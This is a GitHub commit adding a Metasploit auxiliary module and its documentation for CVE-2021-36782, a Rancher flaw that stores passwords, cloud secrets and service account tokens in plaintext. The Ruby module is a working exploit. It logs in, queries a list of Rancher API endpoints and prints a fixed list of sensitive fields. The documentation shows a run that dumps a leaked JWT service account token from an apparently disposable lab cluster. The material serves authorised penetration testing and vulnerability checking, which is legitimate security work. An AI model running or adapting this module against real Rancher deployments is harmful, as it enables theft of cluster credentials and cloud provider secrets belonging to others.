Skip to content

Commit 3697d4c

Browse files
committed
Rancher Authenticated API Credential Exposure (CVE-2021-36782)
2 parents 42a14ef + d93b97d commit 3697d4c

File tree

2 files changed

+306
-0
lines changed

2 files changed

+306
-0
lines changed
Lines changed: 118 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,118 @@
1+
## Vulnerable Application
2+
3+
An issue was discovered in Rancher versions up to and including
4+
2.5.15 and 2.6.6 where sensitive fields, like passwords, API keys
5+
and Ranchers service account token (used to provision clusters),
6+
were stored in plaintext directly on Kubernetes objects like Clusters,
7+
for example cluster.management.cattle.io. Anyone with read access to
8+
those objects in the Kubernetes API could retrieve the plaintext
9+
version of those sensitive data.
10+
11+
### Install
12+
13+
* Clone the repository from: https://github.com/fe-ax/tf-cve-2021-36782
14+
* Create a Digital Ocean API Token
15+
* Log into Digital Ocean and navigate to: API > Tokens
16+
* Select "Generate New Token"
17+
* Enter a token name and then select either Full Access or Custom Scopes
18+
* If selecting Custom Scopes, use the values provided below
19+
* Back in the `tf-cve-2021-36782`, copy the `example.tfvars` file to `yourown.tfvars`
20+
* Edit `yourown.tfvars` and add the newly generated DO API token as `do_token`
21+
* Optionally set the region for the clusters to one closer to you (e.g. `nyc3`)
22+
* Run `terraform init`
23+
* Run `terraform apply -var-file yourown.tfvars`, this can take about 20 minutes to run
24+
* Take the hostname from the `rancher_admin_url` output from terraform and use that as the `RHOST` value for the module
25+
* Take the password from the `rancher_password` file and use that with the username "admin" for the module
26+
27+
#### Digital Ocean API Token Custom Scopes
28+
It's possible that there are unnecessary privileges contained within the following settings, however it does permit the
29+
test environment to start without a full access token.
30+
31+
* Fully Scoped Access:
32+
* 1click (2): create, read
33+
* account (1): read
34+
* actions (1): read
35+
* billing (1): read
36+
* kubernetes (5): create, read, update, delete, access_cluster
37+
* load_balancer (4): create, read, update, delete
38+
* monitoring (4): create, read, update, delete
39+
* project (4): create, read, update, delete
40+
* regions (1): read
41+
* registry (4): create, read, update, delete
42+
* sizes (1): read
43+
* Create Access:
44+
* app / droplet / firewall / ssh_key
45+
* Read Access:
46+
* app / block_storage / block_storage_action / block_storage_snapshot / cdn / certificate / database / domain / droplet / firewall / function / image / reserved_ip / snapshot / ssh_key / tag / uptime / vpc
47+
* Update Access:
48+
* ssh_key
49+
50+
## Verification Steps
51+
52+
1. Install the application
53+
1. Start msfconsole
54+
1. Do: `use auxiliary/gather/rancher_authenticated_api_cred_exposure`
55+
1. Do: `set rhosts [ip]`
56+
1. Do: `set username [username]`
57+
1. Do: `set password [password]`
58+
1. Do: `run`
59+
1. If any API items of value are found, they will be printed
60+
61+
## Options
62+
63+
### Username
64+
65+
Username for Rancher. user must be in one or more of the following groups:
66+
67+
* `Cluster Owners`
68+
* `Cluster Members`
69+
* `Project Owners`
70+
* `Project Members`
71+
* `User Base`
72+
73+
### Password
74+
75+
Password for Rancher.
76+
77+
## Scenarios
78+
79+
### Docker Image
80+
81+
```
82+
msf6 > use auxiliary/gather/rancher_authenticated_api_cred_exposure
83+
msf6 auxiliary(gather/rancher_authenticated_api_cred_exposure) > set rhosts rancher.178.62.209.204.sslip.io
84+
rhosts => rancher.178.62.209.204.sslip.io
85+
msf6 auxiliary(gather/rancher_authenticated_api_cred_exposure) > set username readonlyuser
86+
username => readonlyuser
87+
msf6 auxiliary(gather/rancher_authenticated_api_cred_exposure) > set password readonlyuserreadonlyuser
88+
password => readonlyuserreadonlyuser
89+
msf6 auxiliary(gather/rancher_authenticated_api_cred_exposure) > set verbose true
90+
verbose => true
91+
msf6 auxiliary(gather/rancher_authenticated_api_cred_exposure) > run
92+
[*] Running module against 178.62.209.204
93+
94+
[*] Attempting login
95+
[-] Auxiliary aborted due to failure: unreachable: 178.62.209.204:443 - Could not connect to web service - no response
96+
[*] Auxiliary module execution completed
97+
msf6 auxiliary(gather/rancher_authenticated_api_cred_exposure) > run
98+
[*] Running module against 178.62.209.204
99+
100+
[*] Attempting login
101+
[+] login successful, querying APIs
102+
[*] Querying /v1/management.cattle.io.catalogs
103+
[*] Querying /v1/management.cattle.io.clusters
104+
[+] Found leaked key Cluster.Status.ServiceAccountToken: eyJhbGciOiJSUzI1NiIsImtpZCI6IndsUHhqR1pxX1dSbkFwVG92SFZ1RWV5WDNjbktDTmhZRVUtOFhWY2gyQ0kifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJjYXR0bGUtc3lzdGVtIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImtvbnRhaW5lci1lbmdpbmUtdG9rZW4taG52eG4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoia29udGFpbmVyLWVuZ2luZSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjgyOWZiN2FiLTA0NzItNDA1ZC1iOWI4LTRmNjhjYmZhNDAyMyIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpjYXR0bGUtc3lzdGVtOmtvbnRhaW5lci1lbmdpbmUifQ.URiTKnslommru1NDTq-ClcSc9DBsQwr4_eqSCfksoIeGACwYKK3kPCxe0aVixOkWK9saFTcR46bEz7Of4BfMjUShBl89zSmaGHmlNvYd2sLssWMXbcQInC4Y7Ckti49VbBFoU5EWe-LBSiNrhZcNL6NTn00PgMlIT7OFiSugg8ar7k6Q1Suak0pW_ea1Z56bHGWD-WJM8GsYxohXX7HwYh8cyfOSd_jH6HTZ-p6qsZcWAHnREuzNwcdXqycDVxTA48XEZlfLOJDgvbyhNPssedf3os1rcWTQ5vh_NzUjyqpb8PzQOWm427XjMzBQxwSJVyu1a2TYlNXsLX9qCARjng
105+
[*] Querying /v1/management.cattle.io.clustertemplates
106+
[*] Querying /v1/management.cattle.io.notifiers
107+
[*] Querying /v1/project.cattle.io.sourcecodeproviderconfig
108+
[-] No response received from /v1/project.cattle.io.sourcecodeproviderconfig
109+
[*] Querying /k8s/clusters/local/apis/management.cattle.io/v3/catalogs
110+
[*] Querying /k8s/clusters/local/apis/management.cattle.io/v3/clusters
111+
[-] No response received from /k8s/clusters/local/apis/management.cattle.io/v3/clusters
112+
[*] Querying /k8s/clusters/local/apis/management.cattle.io/v3/clustertemplates
113+
[*] Querying /k8s/clusters/local/apis/management.cattle.io/v3/notifiers
114+
[*] Querying /k8s/clusters/local/apis/project.cattle.io/v3/sourcecodeproviderconfigs
115+
[*] Auxiliary module execution completed
116+
```
117+
118+
The [Cluster.Status.ServiceAccountToken](https://jwt.io/#debugger-io?token=eyJhbGciOiJSUzI1NiIsImtpZCI6IndsUHhqR1pxX1dSbkFwVG92SFZ1RWV5WDNjbktDTmhZRVUtOFhWY2gyQ0kifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJjYXR0bGUtc3lzdGVtIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImtvbnRhaW5lci1lbmdpbmUtdG9rZW4taG52eG4iLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoia29udGFpbmVyLWVuZ2luZSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjgyOWZiN2FiLTA0NzItNDA1ZC1iOWI4LTRmNjhjYmZhNDAyMyIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpjYXR0bGUtc3lzdGVtOmtvbnRhaW5lci1lbmdpbmUifQ.URiTKnslommru1NDTq-ClcSc9DBsQwr4_eqSCfksoIeGACwYKK3kPCxe0aVixOkWK9saFTcR46bEz7Of4BfMjUShBl89zSmaGHmlNvYd2sLssWMXbcQInC4Y7Ckti49VbBFoU5EWe-LBSiNrhZcNL6NTn00PgMlIT7OFiSugg8ar7k6Q1Suak0pW_ea1Z56bHGWD-WJM8GsYxohXX7HwYh8cyfOSd_jH6HTZ-p6qsZcWAHnREuzNwcdXqycDVxTA48XEZlfLOJDgvbyhNPssedf3os1rcWTQ5vh_NzUjyqpb8PzQOWm427XjMzBQxwSJVyu1a2TYlNXsLX9qCARjng) is actually a JWT token as seen in the link.
Lines changed: 188 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,188 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
include Msf::Exploit::Remote::HttpClient
8+
9+
def initialize(info = {})
10+
super(
11+
update_info(
12+
info,
13+
'Name' => 'Rancher Authenticated API Credential Exposure',
14+
'Description' => %q{
15+
An issue was discovered in Rancher versions up to and including
16+
2.5.15 and 2.6.6 where sensitive fields, like passwords, API keys
17+
and Ranchers service account token (used to provision clusters),
18+
were stored in plaintext directly on Kubernetes objects like Clusters,
19+
for example cluster.management.cattle.io. Anyone with read access to
20+
those objects in the Kubernetes API could retrieve the plaintext
21+
version of those sensitive data.
22+
},
23+
'License' => MSF_LICENSE,
24+
'Author' => [
25+
'h00die', # msf module
26+
'Florian Struck', # discovery
27+
'Marco Stuurman' # discovery
28+
],
29+
'References' => [
30+
[ 'URL', 'https://github.com/advisories/GHSA-g7j7-h4q8-8w2f'],
31+
[ 'URL', 'https://github.com/fe-ax/tf-cve-2021-36782'],
32+
[ 'URL', 'https://fe.ax/cve-2021-36782/'],
33+
[ 'CVE', '2021-36782']
34+
],
35+
'DisclosureDate' => '2022-08-18',
36+
'DefaultOptions' => {
37+
'RPORT' => 443,
38+
'SSL' => true
39+
},
40+
'Notes' => {
41+
'Stability' => [],
42+
'Reliability' => [],
43+
'SideEffects' => []
44+
}
45+
)
46+
)
47+
register_options(
48+
[
49+
OptString.new('USERNAME', [ true, 'User to login with']),
50+
OptString.new('PASSWORD', [ true, 'Password to login with']),
51+
OptString.new('TARGETURI', [ true, 'The URI of Rancher instance', '/'])
52+
]
53+
)
54+
end
55+
56+
def username
57+
datastore['USERNAME']
58+
end
59+
60+
def password
61+
datastore['PASSWORD']
62+
end
63+
64+
def rancher?
65+
res = send_request_cgi({
66+
'uri' => normalize_uri(target_uri.path, 'dashboard/'),
67+
'keep_cookies' => true
68+
})
69+
return false unless res&.code == 200
70+
71+
html = res.get_html_document
72+
title = html.at('title').text
73+
title == 'dashboard' # this is a VERY weak check
74+
end
75+
76+
def login
77+
# get our cookie first with CSRF token
78+
res = send_request_cgi({
79+
'uri' => normalize_uri(target_uri.path, 'v1', 'management.cattle.io.setting'),
80+
'keep_cookies' => true
81+
})
82+
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
83+
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") unless res.code == 200
84+
85+
json_post_data = JSON.pretty_generate(
86+
{
87+
'description' => 'UI session',
88+
'responseType' => 'cookie',
89+
'username' => username,
90+
'password' => password
91+
}
92+
)
93+
fail_with(Failure::UnexpectedReply, "#{peer} - CSRF token not found in cookie") unless res.get_cookies.to_s =~ /CSRF=(\w*);/
94+
95+
csrf = ::Regexp.last_match(1)
96+
97+
res = send_request_cgi(
98+
'uri' => normalize_uri(target_uri.path, 'v3-public', 'localProviders', 'local'),
99+
'keep_cookies' => true,
100+
'method' => 'POST',
101+
'vars_get' => {
102+
'action' => 'login'
103+
},
104+
'headers' => {
105+
'accept' => 'application/json',
106+
'X-Api-Csrf' => csrf
107+
},
108+
'ctype' => 'application/json',
109+
'data' => json_post_data
110+
)
111+
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
112+
fail_with(Failure::NoAccess, "#{peer} - Login failed, check credentials") if res.code == 401
113+
end
114+
115+
def check
116+
return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service, or does not seem to be a rancher website") unless rancher?
117+
118+
Exploit::CheckCode::Detected('Seems to be rancher, but unable to determine version')
119+
end
120+
121+
def run
122+
vprint_status('Attempting login')
123+
login
124+
vprint_good('Login successful, querying APIs')
125+
[
126+
'/v1/management.cattle.io.catalogs',
127+
'/v1/management.cattle.io.clusters',
128+
'/v1/management.cattle.io.clustertemplates',
129+
'/v1/management.cattle.io.notifiers',
130+
'/v1/project.cattle.io.sourcecodeproviderconfig',
131+
'/k8s/clusters/local/apis/management.cattle.io/v3/catalogs',
132+
'/k8s/clusters/local/apis/management.cattle.io/v3/clusters',
133+
'/k8s/clusters/local/apis/management.cattle.io/v3/clustertemplates',
134+
'/k8s/clusters/local/apis/management.cattle.io/v3/notifiers',
135+
'/k8s/clusters/local/apis/project.cattle.io/v3/sourcecodeproviderconfigs'
136+
].each do |api_endpoint|
137+
vprint_status("Querying #{api_endpoint}")
138+
res = send_request_cgi(
139+
'uri' => normalize_uri(target_uri.path, api_endpoint),
140+
'headers' => {
141+
'accept' => 'application/json'
142+
}
143+
)
144+
if res.nil?
145+
vprint_error("No response received from #{api_endpoint}")
146+
next
147+
end
148+
next unless res.code == 200
149+
150+
json_body = res.get_json_document
151+
next unless json_body.key? 'data'
152+
153+
json_body['data'].each do |data|
154+
# list taken directly from CVE writeup, however this isn't how the API presents its so we fix it later
155+
[
156+
'Notifier.SMTPConfig.Password',
157+
'Notifier.WechatConfig.Secret',
158+
'Notifier.DingtalkConfig.Secret',
159+
'Catalog.Spec.Password',
160+
'SourceCodeProviderConfig.GithubPipelineConfig.ClientSecret',
161+
'SourceCodeProviderConfig.GitlabPipelineConfig.ClientSecret',
162+
'SourceCodeProviderConfig.BitbucketCloudPipelineConfig.ClientSecret',
163+
'SourceCodeProviderConfig.BitbucketServerPipelineConfig.PrivateKey',
164+
'Cluster.Spec.RancherKubernetesEngineConfig.BackupConfig.S3BackupConfig.SecretKey',
165+
'Cluster.Spec.RancherKubernetesEngineConfig.PrivateRegistries.Password',
166+
'Cluster.Spec.RancherKubernetesEngineConfig.Network.WeaveNetworkProvider.Password',
167+
'Cluster.Spec.RancherKubernetesEngineConfig.CloudProvider.VsphereCloudProvider.Global.Password',
168+
'Cluster.Spec.RancherKubernetesEngineConfig.CloudProvider.VsphereCloudProvider.VirtualCenter.Password',
169+
'Cluster.Spec.RancherKubernetesEngineConfig.CloudProvider.OpenstackCloudProvider.Global.Password',
170+
'Cluster.Spec.RancherKubernetesEngineConfig.CloudProvider.AzureCloudProvider.AADClientSecret',
171+
'Cluster.Spec.RancherKubernetesEngineConfig.CloudProvider.AzureCloudProvider.AADClientCertPassword',
172+
'Cluster.Status.ServiceAccountToken',
173+
'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.PrivateRegistries.Password',
174+
'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.Network.WeaveNetworkProvider.Password',
175+
'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.CloudProvider.VsphereCloudProvider.Global.Password',
176+
'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.CloudProvider.VsphereCloudProvider.VirtualCenter.Password',
177+
'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.CloudProvider.OpenstackCloudProvider.Global.Password',
178+
'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.CloudProvider.AzureCloudProvider.AADClientSecret',
179+
'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.CloudProvider.AzureCloudProvider.AADClientCertPassword'
180+
].each do |leaky_key|
181+
leaky_key_fixed = leaky_key.split('.')[1..] # remove first item,
182+
leaky_key_fixed = leaky_key_fixed.map { |item| item[0].downcase + item[1..] } # downcase first letter in each word
183+
print_good("Found leaked key #{leaky_key}: #{data.dig(*leaky_key_fixed)}") if data.dig(*leaky_key_fixed)
184+
end
185+
end
186+
end
187+
end
188+
end

0 commit comments

Comments
 (0)